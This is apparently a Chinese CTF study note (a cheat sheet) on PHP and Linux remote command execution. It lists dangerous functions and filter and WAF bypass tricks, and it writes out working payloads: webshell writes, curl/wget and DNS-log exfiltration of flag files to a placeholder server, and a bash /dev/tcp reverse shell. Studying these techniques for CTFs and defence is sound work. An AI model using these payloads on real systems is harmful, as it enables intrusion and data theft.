Reference

远程命令/代码执行漏洞(RCE)总结_可能造成远程代码执行的函数-CSDN博客

【原创】基础篇 – RCE漏洞总结-腾讯云开发者社区-腾讯云 (tencent.com)

无字母数字webshell总结 - 先知社区 (aliyun.com)

命令执行函数

PHP

system(string [command],int [result_code]=null):string | status//执行外部程序,并且返回命令输出的最后一行输出
exec(string[command],array[output]=null,int[result_code]=null):string|status//执行外部程序,但是输出执行结果的最后一行内容
passthru(string[command],int[result_code]=null):null?false//执行外部程序,并且显示原始输出
eval()//把字符串作为php代码执行,无回显
shell_exec(string[command])//通过shell执行命令,并将完整的输出以字符串的方式返回
`command`//反引号在php中等同于shell_exec(),将反引号中的内容作为shell命令来执行,并且输出信息返回。如果要看到输出的信息,需要用echo或者print来包裹他。 
escapeshellarg(string [arg]):string//转义字符串以用作shell参数。在字符串周围添加单引号,并且转义现有的单引号(自动转义),连续的反斜杠还有会额外的反斜杠转义。返回转义的字符串,主要用来转义shell函数的参数
escapeshellcmd(string[command]):string//就是加了个转义符和上面一样都只有转义的功能以下字符前面有一个反斜杠: &#;|*?~<>^()[]{}$\·\x0A 和\xFF。
  • 注意,eval不能包含打开/关闭的php tags,就是不能包含完整的,但是可以用?>xxxxxx<?php这种。除此之外,传入的必须是有效的php代码,要以分号结尾。
  • 最后两个一般与system一起使用,没有执行功能

Linux连接符

  • &使命令在后台运行

    ping baidu.com &

  • ;连接命令

  • &&与操作符,第一个命令成功才可以执行第二个命令

    ping -c3 www.baidu.com&&links www.baidu.com

  • ||或操作符,第一个失败的情况下执行第二个命令,不然就只执行第一个命令

  • |管道符

绕过技巧

空格过滤

< 、eg:cat</flag
<>、
%09(tab键)、
%20(url编码中的空格符)$IFS$9($IFS是shell脚本的内部字段分割符可以代表空格)($9是当前系统shell进程的第九个参数的持有者,它始终为空字符串)
$IFS$1、eg:ls$IFS$1-a
${IFS}$IFS等,还可以用{} 比如 {cat,flag}
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

关键字过滤

例如过滤了catflag等关键词

代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq -c:可以查看
file -f:报错出具体内容
sh /flag 2>%261(%261url解码即是&)  //报错出文件内容
bash -v file
rev
strings
...

转义符

\c\a\t /f\l\a\g
cat fl''ag

内联

a=fl;b=ag.php;cat$IFS$a$b
(假设该目录下有index.php和flag.php)
cat `ls` 
等同于-->
cat flag.php;cat index.php

编码进制绕过

  1. base64
  2. 16进制
  3. 8进制
  4. url编码

过滤文件名绕过

1) 利用正则匹配绕过

[root~]# cat /???/pass* //?匹配任一字符

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root~]# cat /etc$u/passwd

备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

system()绕过

  1. “\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);

    使用了进制转换代替了system

  2. (sy.(st).em)(whoami);

    .字符拼接,括号不影响

  3. 使用内联执行

    echo `ls`;
    echo $(ls);
    ?><?=`ls`;
    ?><?=$(ls);

特殊变量

在没有传参的情况下,有些特殊变量都是空的

$*$@

$x${x}

还有很多其他的特殊变量可以测试

ca$*t flag

过滤/

采用多个管道命令即可

;cd flag_is_here;cat *

过滤分隔符|&

  1. 使用%0a代替
功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd
  1. ?>代替;

    php中用?>来代替最后一个;

    原因是php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个;

长度限制*

小密圈里的那些奇技淫巧 - Speaker Deck

【CTF 攻略】如何绕过四个字符限制getshell-安全客 - 安全资讯平台 (anquanke.com)

核心思想就是:利用文件名进行命令拼接,然后利用ls -t >a可以将后门命令写入一个文件,然后利用sh a进行执行

root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/桌面# ls -t >a     #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

无回显

浅谈PHP无回显命令执行的利用_执行无回显-CSDN博客

shell_exec等无回显函数

  • 判断:

    ls;sleep(3)

  • 利用

    1. 复制,压缩,写webshell等方法

      copy flag.php 1.txt
      mv flag.php flag.txt
      cat flag.php > flag.txt
      tar cvf flag.tar flag.php
      tar zcvf flag.tar.gz flag.php
      echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
      echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

      然后访问对应生成的文件,下载下来

    2. 在vps上建立记录脚本

      <?php
          $data=$_GET['data'];
      	$f=fopen("flag.txt","w");
      	fwrite($f,$data);
      	fclose($f);
      ?>

      在目标服务器的测试点钟发送下面请求进行测试

      curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
      wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
    3. 通过http``/DNS请求等方式带出数据

      原理:如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)

      • 利用

        curl `命令`.域名
      • #用<替换读取文件中的空格,且对输出结果base64编码
        curl `cat<flag.php|base64`
        
        #拼接域名(最终构造结果)
        curl `cat<flag.php|base64`.v4utm7.ceye.io
        #另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io
        
        
        
        4. 使用`linux tee`拦截输出
        
           ```bash
           tee file1 file2
           ls /|tee 1.txt//将ls的命令输出复制到1.txt
    4. 反弹shell

      [~]#棱角 ::Edge.Forum* (ywhack.com)

      • 利用条件:目标服务器可以向可通信的公网服务器发起http请求

      • 服务器端执行

        nc -lvp 8888

        命令执行处执行

        bash -i >& /dev/tcp/your_ip/8888 0>&1

        也就是把标准输出流发送到自己的服务器上

        0>&1则表示bashshell的标准输入也来自该网络连接

>/dev/null 2>&1类无回显

>/dev/null 2>&1将标准输出与标准错误输出流都清空

思路是直接在该命令之前进行分隔,使之无效

Perl中的open命令执行

[HITCON 2017]SSRFme(Perl中GET命令执行)_perl和get的关系-CSDN博客

核心点就是:

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

GET底层实现实现的是open函数,而open函数可以执行命令

无数字字母webshell*

无字母数字webshell总结 - 先知社区 (aliyun.com)

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)-CSDN博客

过滤括号

  1. 使用不需要括号的函数

    • echo

      echo `cat /flag`
    • require

      require `/flag`
      include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  2. 不需要引号和空格

    #<?=require~~flag.txt?>
    <?=require~%d0%99%93%9e%98?>

无参数RCE*

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
    eval($_GET['star']);
}

这类一般是无参数RCE的题目特征:出现正则表达式

[^\W]+\((?R)?\)

这段函数的功能就是去掉所有函数的参数

如何绕过?

  1. 既然传入的code不含参数,我们可以联想到将参数放在自己的地方,用code进行接收,那么利用getallheaders()apache_request_headrs()函数就可以接受headers,我们直接在headers中放入命令参数进行执行

  2. session_id():可以用来获取/设置 当前会话 ID。

    session需要使用session_start()开启,然后返回参数给session_id()

    但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

    但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

    image-20240630220706399

    如果要采用读文件的方法

    readfile(session_id(session_start()))*;*

  3. 利用getenv收集一定的信息

  4. 最常规的通解scandir()

    例题

    <?php
    include "flag.php";
    echo "flag在哪里呢?<br>";
    if(isset($_GET['exp'])){
        if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
            if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
                if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                    // echo $_GET['exp'];
                    @eval($_GET['exp']);
                }
                else{
                    die("还差一点哦!");
                }
            }
            else{
                die("再好好想想!");
            }
        }
        else{
            die("还想读flag,臭弟弟!");
        }
    }
    // highlight_file(__FILE__);
    ?>

    最终的payload?exp=highligth_file(next(array_reverse(scandir(current(localeconv())))))

    • current(localeconv()) 构造了一个.
    • scandir相当于ls
    • 接下来的array_reverse与next则是将flag.php文件给取出来了,然后利用highligh_file进行读取

open_basedir绕过*

disable_function绕过*

通配符绕过

/???/????64 ????.???  #/bin/base64 flag.php
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

grep绕过关键词过滤

grep { flag.php
grep { f???????

打印flag.php中含有{的行

使用~$()构造数字

$(())=0
$((~$(())))=-1
在这里插入图片描述

php内置类Rce*

PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)

$PATH环境变量绕过

主要是利用$PATH环境变量截取字母进行字符拼接

可以使用大写字母数字和{}

image-20240630212739228

可以使用大写字母和{}

#PATH表示环境变量的长度

只要我们找到对应长度的环境变量,就可以构造出命令,进行RCE


未完待续,后续学习的过程中继续补充完善